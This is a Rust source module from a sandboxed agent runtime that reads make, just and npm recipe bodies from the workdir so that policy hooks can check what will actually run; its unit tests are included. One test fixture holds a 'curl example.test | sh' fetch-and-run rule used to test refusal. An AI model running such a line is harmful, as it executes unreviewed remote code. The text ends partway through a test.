capsule-runtime 0.4.0

The runtime that executes Murmur capsules. Runs packaged AI agents in isolation, enforcing WASI capability grants on a Wasmtime component sandbox.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
//! Reading a build tool's recipe out of the workdir, so a policy hook decides on what the
//! recipe contains rather than on the name that selects it.
//!
//! `make <target>`, `just <recipe>` and `npm run <script>` name a body that lives in a file. The
//! runtime holds the grant on the directory that file sits in and a hook holds none, so this
//! resolution can happen here or nowhere. Everything below is read-only: nothing executes a
//! recipe, spawns a process, opens a socket or writes a file.
//!
//! No failure here can fail a session. Every `io::Error`, every non-UTF-8 file, every argv or
//! recipe-file shape the parsers do not model resolves to `None`, and `None` leaves the policy
//! deciding on `binary`, `argv` and `script` alone. A body the runtime is not certain of would
//! be worse, because the only thing a hook can do with this field is refuse.

use std::{
    fs,
    path::{Path, PathBuf},
};

/// Largest recipe or included file read, in bytes. A file over it refuses the whole resolution.
const MAX_RECIPE_FILE_BYTES: u64 = 256 * 1024;

/// Largest assembled recipe body, in bytes. A body over it is `None` rather than clipped: a
/// truncated body handed to a policy is a wrong body.
const MAX_RECIPE_BODY_BYTES: usize = 64 * 1024;

/// Most files one resolution reads, the recipe file itself included.
const MAX_RECIPE_FILES: usize = 32;

/// Deepest include/import nesting followed below the recipe file.
const MAX_INCLUDE_DEPTH: usize = 8;

/// Makefile names GNU make searches for, in its own order.
const MAKEFILE_NAMES: [&str; 3] = ["GNUmakefile", "makefile", "Makefile"];

/// Justfile names `just` searches the directory for, in its own order. The search stops at the
/// directory: walking upward would leave the workdir, where the runtime's grant ends.
const JUSTFILE_NAMES: [&str; 4] = ["justfile", ".justfile", "Justfile", "JUSTFILE"];

/// The body of the recipe `argv` names, or `None` when this call names no recipe the runtime
/// can resolve.
///
/// `name` is the invoked `capabilities.shell.allow` entry, which is the tool the model called;
/// recognition keys on it alone and matches exactly `make`, `just` and `npm`. Script text is
/// never parsed, so `bash -c "just build"` resolves to `None` — reading a build-tool invocation
/// out of a shell body would be guessing, and absence beats a guess.
///
/// `workdir` is the directory the subprocess will run in, and is the confinement boundary: every
/// file read resolves, after symlinks, to a path inside it or the resolution returns `None`.
pub(crate) fn resolve_recipe(workdir: &Path, name: &str, argv: &[String]) -> Option<String> {
    match name {
        "make" => resolve_make(workdir, argv),
        "just" => resolve_just(workdir, argv),
        "npm" => resolve_npm(workdir, argv),
        _ => None,
    }
}

/// Files one resolution may still read. Bounds an include chain that fans out rather than one
/// that nests, which [`MAX_INCLUDE_DEPTH`] alone would not catch.
struct FileBudget(usize);

impl FileBudget {
    fn new() -> Self {
        Self(MAX_RECIPE_FILES)
    }

    fn take(&mut self) -> Option<()> {
        self.0 = self.0.checked_sub(1)?;
        Some(())
    }
}

/// The real path of `candidate`, or `None` when nothing is there or it resolves outside `root`.
///
/// Both sides are canonicalized before the prefix test, so a symlink pointing out of the workdir
/// is refused by the same comparison that refuses a `../` component.
fn confine(root: &Path, candidate: &Path) -> Option<PathBuf> {
    let root = fs::canonicalize(root).ok()?;
    let real = fs::canonicalize(candidate).ok()?;
    real.starts_with(&root).then_some(real)
}

/// What one attempt at a file named by a recipe produced.
enum FileRead {
    Text(String),
    /// Nothing is at the path. `include` treats that as fatal, `-include` skips it.
    Missing,
    /// Present but unusable: outside the workdir, over a cap, or not UTF-8. Fatal whichever
    /// directive named it.
    Refused,
}

fn read_file(root: &Path, path: &Path, budget: &mut FileBudget) -> FileRead {
    if !path.exists() {
        return FileRead::Missing;
    }
    let Some(real) = confine(root, path) else {
        return FileRead::Refused;
    };
    let Ok(meta) = fs::metadata(&real) else {
        return FileRead::Refused;
    };
    if !meta.is_file() || meta.len() > MAX_RECIPE_FILE_BYTES || budget.take().is_none() {
        return FileRead::Refused;
    }
    match fs::read(&real).map(String::from_utf8) {
        Ok(Ok(text)) => FileRead::Text(text),
        Ok(Err(_)) | Err(_) => FileRead::Refused,
    }
}

/// The one directory a recipe file is looked for in: `workdir`, or the confined subdirectory the
/// invocation selected.
fn search_dir(workdir: &Path, selected: Option<&String>) -> Option<PathBuf> {
    match selected {
        Some(dir) => confine(workdir, &workdir.join(dir)),
        None => confine(workdir, workdir),
    }
}

fn within_body_cap(body: String) -> Option<String> {
    (body.len() <= MAX_RECIPE_BODY_BYTES).then_some(body)
}

// ── make ─────────────────────────────────────────────────────────────────────

/// The argv shape `make` is resolved for: an optional makefile, an optional directory, and
/// exactly one target.
struct MakeInvocation {
    makefile: Option<String>,
    directory: Option<String>,
    target: String,
}

/// Accepts `-f <file>`, `--file=<file>`, `--makefile=<file>`, `-C <dir>` and `--directory=<dir>`
/// followed by exactly one target. Any other flag, a second target, or a word carrying `=` — a
/// variable override, which changes what the recipe expands to — is `None`.
fn parse_make_argv(argv: &[String]) -> Option<MakeInvocation> {
    let mut makefile: Option<String> = None;
    let mut directory: Option<String> = None;
    let mut target: Option<String> = None;
    let mut words = argv.iter();
    while let Some(word) = words.next() {
        let taken = if let Some(file) = word
            .strip_prefix("--file=")
            .or_else(|| word.strip_prefix("--makefile="))
        {
            makefile.replace(file.to_string())
        } else if let Some(dir) = word.strip_prefix("--directory=") {
            directory.replace(dir.to_string())
        } else if word == "-f" {
            makefile.replace(words.next()?.to_string())
        } else if word == "-C" {
            directory.replace(words.next()?.to_string())
        } else if word.starts_with('-') || word.contains('=') {
            return None;
        } else {
            target.replace(word.to_string())
        };
        if taken.is_some() {
            return None;
        }
    }
    Some(MakeInvocation {
        makefile,
        directory,
        target: target?,
    })
}

/// The recipe lines of an explicit `make` rule, each with its leading recipe-prefix tab removed.
///
/// Nothing is expanded: `$(VAR)`, `${VAR}` and `$$` are carried as written, pattern and suffix
/// rules are not matched against, `ifeq` and every other conditional is read as ordinary text,
/// `.PHONY` and the other special targets are treated as the plain target names they are, and
/// `$(MAKE)` recursion is not followed. A target reachable only through a pattern rule is `None`.
fn resolve_make(workdir: &Path, argv: &[String]) -> Option<String> {
    let invocation = parse_make_argv(argv)?;
    let dir = search_dir(workdir, invocation.directory.as_ref())?;
    let path = match invocation.makefile {
        Some(ref file) => dir.join(file),
        None => MAKEFILE_NAMES
            .iter()
            .map(|name| dir.join(name))
            .find(|candidate| candidate.is_file())?,
    };

    let mut budget = FileBudget::new();
    let mut lines = Vec::new();
    read_makefile(workdir, &path, 0, &mut budget, &mut lines)?;
    make_recipe_body(&lines, &invocation.target)
}

/// Append `path`'s lines to `out`, splicing every `include`d file in at the point its directive
/// appears, so the assembled stream is the one make itself would read.
fn read_makefile(
    workdir: &Path,
    path: &Path,
    depth: usize,
    budget: &mut FileBudget,
    out: &mut Vec<String>,
) -> Option<()> {
    let FileRead::Text(text) = read_file(workdir, path, budget) else {
        return None;
    };
    let dir = path.parent()?.to_path_buf();
    for line in text.lines() {
        let Some((optional, named)) = make_include(line) else {
            out.push(line.to_string());
            continue;
        };
        if depth >= MAX_INCLUDE_DEPTH {
            return None;
        }
        for name in named {
            // A path that would have to be expanded or globbed names a file this parser cannot
            // identify, so it names no file at all.
            if name.contains(['$', '*', '?', '[']) {
                return None;
            }
            let included = dir.join(name);
            if !included.exists() {
                if optional {
                    continue;
                }
                return None;
            }
            read_makefile(workdir, &included, depth + 1, budget, out)?;
        }
    }
    Some(())
}

/// The files an `include` directive names, and whether a missing one is skipped. `-include` and
/// `sinclude` skip; `include` is fatal — that is make's own semantics.
fn make_include(line: &str) -> Option<(bool, Vec<&str>)> {
    if line.starts_with('\t') {
        return None;
    }
    let trimmed = line.trim_start_matches(' ');
    let (optional, rest) = if let Some(rest) = trimmed.strip_prefix("include ") {
        (false, rest)
    } else if let Some(rest) = trimmed.strip_prefix("-include ") {
        (true, rest)
    } else {
        (true, trimmed.strip_prefix("sinclude ")?)
    };
    Some((optional, rest.split_whitespace().collect()))
}

fn make_recipe_body(lines: &[String], target: &str) -> Option<String> {
    let mut found: Option<String> = None;
    let mut index = 0;
    while index < lines.len() {
        let line = &lines[index];
        index += 1;
        let Some((targets, semicolon_recipe)) = make_rule_targets(line) else {
            continue;
        };
        if line.trim_end().ends_with('\\') {
            // A continued rule line carries target names on a line this parser does not join up.
            return None;
        }
        let mut recipe: Vec<&str> = Vec::new();
        while let Some(stripped) = lines.get(index).and_then(|next| next.strip_prefix('\t')) {
            index += 1;
            recipe.push(stripped);
            if stripped.trim_end().ends_with('\\')
                && !lines.get(index).is_some_and(|next| next.starts_with('\t'))
            {
                // The continuation leaves the recipe, so the lines collected are not the body.
                return None;
            }
        }
        if !targets.contains(&target) {
            continue;
        }
        if semicolon_recipe {
            // `target: ; cmd` puts a recipe line on the rule line itself, where the tab-prefixed
            // run collected above does not carry it. Reporting the tab lines alone would show a
            // policy a body other than the one that runs.
            return None;
        }
        if found.is_some() {
            // Two explicit rules for one target: make picks one, and this parser does not model
            // which.
            return None;
        }
        found = Some(recipe.join("\n"));
    }
    within_body_cap(found?)
}

/// The target names an explicit rule line declares and whether it carries a `;` recipe, or `None`
/// for a comment, a blank, a variable assignment, a directive, or a pattern rule.
fn make_rule_targets(line: &str) -> Option<(Vec<&str>, bool)> {
    if line.starts_with('\t') {
        return None;
    }
    let trimmed = line.trim();
    if trimmed.is_empty() || trimmed.starts_with('#') {
        return None;
    }
    let colon = trimmed.find(':')?;
    let (head, rest) = trimmed.split_at(colon);
    if head.contains('=') || rest.starts_with(":=") || rest.starts_with("::=") {
        return None;
    }
    let targets: Vec<&str> = head.split_whitespace().collect();
    if targets.is_empty()
        || targets
            .iter()
            .any(|name| name.contains('%') || name.contains('$'))
    {
        return None;
    }
    Some((targets, rest.contains(';')))
}

// ── just ─────────────────────────────────────────────────────────────────────

/// The argv shape `just` is resolved for: an optional justfile, an optional working directory,
/// and exactly one recipe name.
struct JustInvocation {
    justfile: Option<String>,
    directory: Option<String>,
    recipe: String,
}

/// Accepts `-f <path>` / `--justfile <path>` and `-d <dir>` / `--working-directory <dir>`
/// followed by exactly one recipe name. Any other flag, a second word, or a name carrying `::` —
/// a module recipe, defined in a file this parser does not follow — is `None`.
fn parse_just_argv(argv: &[String]) -> Option<JustInvocation> {
    let mut justfile: Option<String> = None;
    let mut directory: Option<String> = None;
    let mut recipe: Option<String> = None;
    let mut words = argv.iter();
    while let Some(word) = words.next() {
        let taken = match word.as_str() {
            "-f" | "--justfile" => justfile.replace(words.next()?.to_string()),
            "-d" | "--working-directory" => directory.replace(words.next()?.to_string()),
            other if other.starts_with('-') || other.contains("::") => return None,
            other => recipe.replace(other.to_string()),
        };
        if taken.is_some() {
            return None;
        }
    }
    Some(JustInvocation {
        justfile,
        directory,
        recipe: recipe?,
    })
}

/// A `just` recipe's indented body, with the indentation common to its lines removed.
///
/// Nothing is expanded: `{{ … }}` interpolations, `$VAR`, recipe parameters and their defaults,
/// `set` settings and `mod` submodules are carried as written or ignored. `alias b := build` is
/// not followed, so an aliased name resolves to `None` like any other undefined recipe.
fn resolve_just(workdir: &Path, argv: &[String]) -> Option<String> {
    let invocation = parse_just_argv(argv)?;
    let dir = search_dir(workdir, invocation.directory.as_ref())?;
    let path = match invocation.justfile {
        Some(ref file) => dir.join(file),
        None => JUSTFILE_NAMES
            .iter()
            .map(|name| dir.join(name))
            .find(|candidate| candidate.is_file())?,
    };

    let mut budget = FileBudget::new();
    let mut lines = Vec::new();
    read_justfile(workdir, &path, 0, &mut budget, &mut lines)?;
    just_recipe_body(&lines, &invocation.recipe)
}

/// Append `path`'s lines to `out`, splicing every `import`ed file in at the point its directive
/// appears.
fn read_justfile(
    workdir: &Path,
    path: &Path,
    depth: usize,
    budget: &mut FileBudget,
    out: &mut Vec<String>,
) -> Option<()> {
    let FileRead::Text(text) = read_file(workdir, path, budget) else {
        return None;
    };
    let dir = path.parent()?.to_path_buf();
    for line in text.lines() {
        let Some((optional, name)) = just_import(line) else {
            out.push(line.to_string());
            continue;
        };
        if depth >= MAX_INCLUDE_DEPTH {
            return None;
        }
        let imported = dir.join(name);
        if !imported.exists() {
            if optional {
                continue;
            }
            return None;
        }
        read_justfile(workdir, &imported, depth + 1, budget, out)?;
    }
    Some(())
}

/// The file an `import` directive names, and whether a missing one is skipped. `import?` skips;
/// `import` is fatal — that is just's own semantics.
fn just_import(line: &str) -> Option<(bool, &str)> {
    let trimmed = line.trim();
    let (optional, rest) = if let Some(rest) = trimmed.strip_prefix("import?") {
        (true, rest)
    } else {
        (false, trimmed.strip_prefix("import")?)
    };
    let rest = rest.trim();
    let path = rest
        .strip_prefix('\'')
        .and_then(|inner| inner.strip_suffix('\''))
        .or_else(|| {
            rest.strip_prefix('"')
                .and_then(|inner| inner.strip_suffix('"'))
        })?;
    Some((optional, path))
}

fn just_recipe_body(lines: &[String], recipe: &str) -> Option<String> {
    let mut found: Option<String> = None;
    let mut index = 0;
    while index < lines.len() {
        let header = &lines[index];
        index += 1;
        let Some(name) = just_recipe_name(header) else {
            continue;
        };
        let mut body: Vec<&str> = Vec::new();
        let mut blanks = 0;
        while let Some(next) = lines.get(index) {
            if next.trim().is_empty() {
                blanks += 1;
                index += 1;
                continue;
            }
            if !next.starts_with([' ', '\t']) {
                break;
            }
            // Blank lines inside a body belong to it; the run trailing the last indented line
            // does not, and is dropped by never being flushed.
            body.resize(body.len() + blanks, "");
            blanks = 0;
            body.push(next);
            index += 1;
        }
        if name != recipe {
            continue;
        }
        if found.is_some() {
            // `just` refuses a duplicate recipe outright, so there is no body to report.
            return None;
        }
        found = Some(dedent(&body));
    }
    within_body_cap(found?)
}

/// The recipe a header line declares, or `None` for an attribute, an assignment, an alias, a
/// setting, a comment, or an indented line.
fn just_recipe_name(line: &str) -> Option<&str> {
    if line.starts_with([' ', '\t']) {
        return None;
    }
    let trimmed = line.trim_end();
    if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with('[') {
        return None;
    }
    if trimmed.ends_with('\\') {
        // A continued header carries dependencies this parser does not join up, which leaves the
        // recipe undefined as far as it is concerned.
        return None;
    }
    let colon = trimmed.find(':')?;
    if trimmed[colon..].starts_with(":=") {
        return None;
    }
    // `@` before the name suppresses echoing of every line and is not part of the name.
    let name = trimmed[..colon].split_whitespace().next()?;
    let name = name.strip_prefix('@').unwrap_or(name);
    (!name.is_empty()).then_some(name)
}

/// Strip the indentation common to every non-blank line, which is the recipe's own left margin.
fn dedent(lines: &[&str]) -> String {
    let common = lines
        .iter()
        .filter(|line| !line.trim().is_empty())
        .map(|line| line.len() - line.trim_start_matches([' ', '\t']).len())
        .min()
        .unwrap_or(0);
    lines
        .iter()
        .map(|line| {
            if line.trim().is_empty() {
                ""
            } else {
                &line[common..]
            }
        })
        .collect::<Vec<_>>()
        .join("\n")
}

// ── npm run ──────────────────────────────────────────────────────────────────

/// The string `scripts.<script>` holds in `package.json`.
///
/// The argv must be exactly `["run", <script>]` or `["run-script", <script>]`. Any flag,
/// `-w`/`--workspace`, `--prefix`, trailing `--` arguments and a bare `npm run` are all `None`.
///
/// A `pre<script>` or `post<script>` sibling is `None` as well: npm runs those around the named
/// script, so no single body describes what will run, and the middle one alone would read as
/// complete.
///
/// Nothing is expanded: `npm_*` environment variables, `$npm_…` references, `config`
/// substitutions and workspace fan-out are carried as written or not modelled at all.
fn resolve_npm(workdir: &Path, argv: &[String]) -> Option<String> {
    let [subcommand, script] = argv else {
        return None;
    };
    if subcommand != "run" && subcommand != "run-script" {
        return None;
    }
    if script.starts_with('-') {
        return None;
    }

    let mut budget = FileBudget::new();
    let FileRead::Text(text) = read_file(workdir, &workdir.join("package.json"), &mut budget)
    else {
        return None;
    };
    let package: serde_json::Value = serde_json::from_str(&text).ok()?;
    let scripts = package.get("scripts")?.as_object()?;
    if scripts.contains_key(&format!("pre{script}"))
        || scripts.contains_key(&format!("post{script}"))
    {
        return None;
    }
    within_body_cap(scripts.get(script.as_str())?.as_str()?.to_string())
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::fs;
    use tempfile::TempDir;

    fn argv(words: &[&str]) -> Vec<String> {
        words.iter().map(|w| w.to_string()).collect()
    }

    fn write(dir: &Path, name: &str, contents: &str) {
        if let Some(parent) = Path::new(name).parent() {
            fs::create_dir_all(dir.join(parent)).unwrap();
        }
        fs::write(dir.join(name), contents).unwrap();
    }

    // ── just ─────────────────────────────────────────────────────────────────

    /// The body a justfile gives a recipe, with its own indentation removed.
    #[test]
    fn just_resolves_a_recipe_body() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "justfile",
            "build:\n    echo one\n    echo two\n\ntest:\n    echo other\n",
        );

        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["build"])),
            Some("echo one\necho two".to_string())
        );
    }

    /// Every justfile name just searches for is searched, in just's own order.
    #[test]
    fn just_searches_its_own_file_names_in_order() {
        for name in JUSTFILE_NAMES {
            let tmp = TempDir::new().unwrap();
            write(tmp.path(), name, "build:\n  echo from-file\n");
            assert_eq!(
                resolve_recipe(tmp.path(), "just", &argv(&["build"])),
                Some("echo from-file".to_string()),
                "{name} is one of the names just looks for"
            );
        }
    }

    /// `{{ … }}` interpolations and `$VAR` are the file's own text and are carried as written.
    #[test]
    fn just_does_not_expand_interpolations_or_variables() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "justfile",
            "target := \"prod\"\n\ndeploy:\n  ship {{target}} $HOME\n",
        );

        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["deploy"])),
            Some("ship {{target}} $HOME".to_string())
        );
    }

    /// An `import` splices the imported file in; `import?` skips a missing one and `import`
    /// does not.
    #[test]
    fn just_follows_imports_and_distinguishes_the_optional_form() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "shared.just", "build:\n  echo shared\n");
        write(tmp.path(), "justfile", "import 'shared.just'\n");
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["build"])),
            Some("echo shared".to_string())
        );

        write(
            tmp.path(),
            "justfile",
            "import? 'absent.just'\nbuild:\n  echo local\n",
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["build"])),
            Some("echo local".to_string())
        );

        write(
            tmp.path(),
            "justfile",
            "import 'absent.just'\nbuild:\n  echo local\n",
        );
        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["build"])), None);
    }

    /// An alias is a name the runtime does not follow to the recipe behind it.
    #[test]
    fn just_does_not_follow_an_alias() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "justfile",
            "alias b := build\n\nbuild:\n  echo one\n",
        );

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["b"])), None);
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["build"])),
            Some("echo one".to_string())
        );
    }

    /// A justfile that defines no such recipe, a module recipe, a second word and an unmodelled
    /// flag are all absence rather than a body.
    #[test]
    fn just_declines_what_it_does_not_model() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "justfile", "build:\n  echo one\n");

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["absent"])), None);
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["mod::build"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["build", "extra"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["--dry-run", "build"])),
            None
        );
        assert_eq!(resolve_recipe(tmp.path(), "just", &[]), None);
    }

    /// `-f` and `-d` select the file and the directory, and both stay inside the workdir.
    #[test]
    fn just_honors_the_file_and_directory_flags_within_the_workdir() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "sub/justfile", "build:\n  echo nested\n");
        write(tmp.path(), "other.just", "build:\n  echo named\n");

        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["-d", "sub", "build"])),
            Some("echo nested".to_string())
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["-f", "other.just", "build"])),
            Some("echo named".to_string())
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "just", &argv(&["-d", "..", "build"])),
            None
        );
    }

    /// A justfile that is not UTF-8 is absence, not an error.
    #[test]
    fn a_justfile_that_is_not_utf8_resolves_to_nothing() {
        let tmp = TempDir::new().unwrap();
        fs::write(tmp.path().join("justfile"), [0x62, 0x75, 0xff, 0x3a, 0x0a]).unwrap();

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["build"])), None);
    }

    /// A body over [`MAX_RECIPE_BODY_BYTES`] is absent rather than clipped.
    #[test]
    fn a_body_over_the_size_cap_resolves_to_nothing() {
        let tmp = TempDir::new().unwrap();
        let line = format!("  {}\n", "x".repeat(1000));
        write(
            tmp.path(),
            "justfile",
            &format!("build:\n{}", line.repeat(MAX_RECIPE_BODY_BYTES / 1000 + 2)),
        );

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["build"])), None);
    }

    /// An import chain deeper than [`MAX_INCLUDE_DEPTH`] is absence rather than a partial read.
    #[test]
    fn an_import_chain_over_the_depth_cap_resolves_to_nothing() {
        let tmp = TempDir::new().unwrap();
        let depth = MAX_INCLUDE_DEPTH + 2;
        write(tmp.path(), "justfile", "import 'link1.just'\n");
        for step in 1..depth {
            write(
                tmp.path(),
                &format!("link{step}.just"),
                &format!("import 'link{}.just'\n", step + 1),
            );
        }
        write(
            tmp.path(),
            &format!("link{depth}.just"),
            "build:\n  echo deep\n",
        );

        assert_eq!(resolve_recipe(tmp.path(), "just", &argv(&["build"])), None);
    }

    // ── make ─────────────────────────────────────────────────────────────────

    /// The recipe lines of an explicit rule, each with its recipe-prefix tab removed.
    #[test]
    fn make_resolves_a_target_recipe() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "Makefile",
            ".PHONY: deploy\n\ndeploy: build\n\techo $(REGISTRY)\n\techo two\n\nbuild:\n\techo other\n",
        );

        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["deploy"])),
            Some("echo $(REGISTRY)\necho two".to_string())
        );
    }

    /// `GNUmakefile` wins over `makefile`, which wins over `Makefile`.
    #[test]
    fn make_searches_its_own_file_names_in_order() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "Makefile", "build:\n\techo last\n");
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build"])),
            Some("echo last".to_string())
        );

        write(tmp.path(), "makefile", "build:\n\techo middle\n");
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build"])),
            Some("echo middle".to_string())
        );

        write(tmp.path(), "GNUmakefile", "build:\n\techo first\n");
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build"])),
            Some("echo first".to_string())
        );
    }

    /// `include` splices the named file in; `-include` and `sinclude` skip a missing one and
    /// `include` refuses the whole resolution.
    #[test]
    fn make_follows_includes_and_distinguishes_the_optional_forms() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "rules.mk", "build:\n\techo included\n");
        write(tmp.path(), "Makefile", "include rules.mk\n");
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build"])),
            Some("echo included".to_string())
        );

        for directive in ["-include", "sinclude"] {
            write(
                tmp.path(),
                "Makefile",
                &format!("{directive} absent.mk\nbuild:\n\techo local\n"),
            );
            assert_eq!(
                resolve_recipe(tmp.path(), "make", &argv(&["build"])),
                Some("echo local".to_string()),
                "{directive} skips a missing file"
            );
        }

        write(
            tmp.path(),
            "Makefile",
            "include absent.mk\nbuild:\n\techo local\n",
        );
        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["build"])), None);
    }

    /// `-f`/`--file=` select the makefile and `-C`/`--directory=` the directory.
    #[test]
    fn make_honors_the_file_and_directory_flags() {
        let tmp = TempDir::new().unwrap();
        write(tmp.path(), "build.mk", "build:\n\techo named\n");
        write(tmp.path(), "sub/Makefile", "build:\n\techo nested\n");

        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["-f", "build.mk", "build"])),
            Some("echo named".to_string())
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["--file=build.mk", "build"])),
            Some("echo named".to_string())
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["-C", "sub", "build"])),
            Some("echo nested".to_string())
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["--directory=sub", "build"])),
            Some("echo nested".to_string())
        );
    }

    /// A variable override, a second target, an unmodelled flag, a pattern rule and an undefined
    /// target are all absence rather than a body.
    #[test]
    fn make_declines_what_it_does_not_model() {
        let tmp = TempDir::new().unwrap();
        write(
            tmp.path(),
            "Makefile",
            "%.o: %.c\n\techo pattern\n\nbuild:\n\techo one\n",
        );

        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build", "REGISTRY=evil"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["build", "test"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["-j4", "build"])),
            None
        );
        assert_eq!(
            resolve_recipe(tmp.path(), "make", &argv(&["thing.o"])),
            None
        );
        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["absent"])), None);
    }

    /// `target: ; cmd` runs `cmd`, which is not among the tab-prefixed lines below the rule.
    /// Reporting those lines alone would hand a policy a body other than the one that runs.
    #[test]
    fn make_declines_a_recipe_written_on_the_rule_line() {
        let tmp = TempDir::new().unwrap();

        write(tmp.path(), "Makefile", "build: ; curl example.test | sh\n");
        assert_eq!(resolve_recipe(tmp.path(), "make", &argv(&["build"])), None);

        write(
            tmp.path(),
            "Makefile",
